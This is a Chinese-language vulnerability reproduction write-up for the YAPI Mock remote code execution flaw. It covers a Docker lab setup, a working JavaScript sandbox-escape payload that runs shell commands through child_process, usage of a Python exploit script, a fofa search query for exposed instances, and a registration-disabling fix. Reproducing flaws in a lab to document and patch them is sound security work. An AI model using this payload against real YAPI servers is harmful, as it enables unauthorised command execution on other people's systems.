YAPI Mock远程代码执行漏洞

  • A+
所属分类:安全漏洞

目录

    前言

    漏洞原理

    影响版本

    环境搭建

    漏洞利用

            手工复现

            脚本复现

    漏洞修复

    参考链接


前言

YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业使用。


漏洞原理

YAPI项目使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务。其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。

YAPI Mock远程代码执行漏洞

影响版本

Yapi


环境搭建

第一步:拉取,包含yapi和mongo

docker pull mongo

docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi


第二步:创建mongo容器并初始化

docker run --name mongo -p 27017:27017 -v /data/mongo:/data/db -d mongo

docker run -it --rm  --link mongo:mongo   --entrypoint npm   --workdir /api/vendors   registry.cn-hangzhou.aliyuncs.com/anoy/yapi   run install-server


第三步:创yapi容器并初始化

docker run -d  --name yapi --link mongo:mongo --workdir /api/vendors  -p 3000:3000  registry.cn-hangzhou.aliyuncs.com/anoy/yapi server/app.js

YAPI Mock远程代码执行漏洞


第四步:访问漏洞环境

http://ip:3000

YAPI Mock远程代码执行漏洞

漏洞利用

作者查看了多个公众号的文章,发现大家都是采用fofa(Yapi的搜索方式:app="yapi”)搜索的公网的yapi进行复现的,但是我胆子比较小,有没有那么跳板机,害怕被抓到,所以只好自己本地搭建环境进行复现,也建议大家在本地进行复现,比较公网的未授权测试有一定风险!


手工复现

第一步:先注册一个账户

YAPI Mock远程代码执行漏洞


第二步:添加一个项目

YAPI Mock远程代码执行漏洞

YAPI Mock远程代码执行漏洞

第三步:添加接口

YAPI Mock远程代码执行漏洞


第四步:将payload添加到高级mock并保存

YAPI Mock远程代码执行漏洞

Payload如下:

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson =process.mainModule.require("child_process").execSync("whoami").toString()



第五步:访问预览,查看mock地址

YAPI Mock远程代码执行漏洞

第七步:访问mock地址执行命令

YAPI Mock远程代码执行漏洞


脚本复现

漏洞利用脚本来源于微信公众号:阿乐你好

脚本使用python3进行编写,使用需要安装python3环境,目前该脚本使用时发现存在一点小问题,也不知道是我没弄明白,使用的命令不能带有空格 如netstat –anltp

使用方式:python3 yapi-mock.py -u http://172.17.47.195:3000 -e ls

YAPI Mock远程代码执行漏洞

脚本获取:

1、向我的公众号发送:yapi

2、关注阿乐你好发送:YAPI


漏洞修复

1、临时修复

a)取消注册功能

在 config.json 添加 closeRegister:true 配置项,禁止用户注册 yapi 平台,修改完成后,重启 yapi 服务器。

       {  "port": "*****",  "closeRegister":true}


参考链接

Mock数据参考:

    https://zhuanlan.zhihu.com/p/77199413

Docker部署yapi参考:

    https://www.pianshen.com/article/89381683039/

漏洞复现参考:

    https://github.com/YMFE/yapi/issues/2099

漏洞修复参考:

   https://hellosean1025.github.io/yapi/devops/index.html#%E7%A6%81%E6%AD%A2%E6%B3%A8%E5%86%8C

漏洞原理参考:

    https://baijiahao.baidu.com/s?id=1704695582584267257&wfr=spider&for=pc

漏洞脚本来源:

    https://mp.weixin.qq.com/s/R7s-HNhmxSvPW0zsDyUyyw

本文始发于微信公众号(小白学IT):YAPI Mock远程代码执行漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: